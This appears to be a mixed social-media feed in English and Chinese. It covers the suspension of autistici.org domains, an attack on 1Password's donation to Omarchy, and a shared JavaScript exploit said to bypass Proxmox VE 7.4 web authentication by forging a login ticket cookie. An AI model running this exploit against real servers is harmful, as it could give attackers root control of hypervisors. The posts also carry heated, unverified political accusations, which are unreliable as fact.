The domain names of
autistici.org / inventati.org (and noblogs.org) are now suspended.
.org being managed by a US entity they were forced to suspend them due to Autisti (the oldest leftwing Italian collective doing web and mail hosting) being declared a terrorist organisation by Trump

Even for WikiLeaks they didn't do that

The US are clearly a fascist state now....

And all your links to your blogs are now dead 😭🥴

(Editing so everyone knows: maybe not. They were dead a few hours ago but not anymore)
(subedit: autistici.org still dead, the other are fine for now)

https://piaille.fr/@benjamin/117171947304939705

GNOME 已经存在了几十年，他们最大规模的一次筹款活动筹集的资金略超过 110 万。

有个人写了几个 .conf 文件，用了 Arch 的软件包仓库，就筹到了超过 1200 万。

(wydamn)

如果你有 1Password 订阅，或雇主是 1Password 的企业客户，请阅读本文并考虑反对 1Password 向 Omarchy 做出的捐赠决定，质询 1Password，或退订 1Password：

https://www.alilleybrinker.com/blog/1password-funds-ethnic-cleansing/

#FashTech

以及
1Password Quid Pro Quo With DHH Confirms Ties to Nazism
https://www.flyingpenguin.com/1password-quid-pro-quo-with-dhh-confirms-ties-to-nazism/

Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”

无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！

Exp (.js) 正文:

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

观后感：不是，你就这么水灵灵的拿到 login cookie 了？

https://fixupx.com/nebusecurity/status/2094719919539793989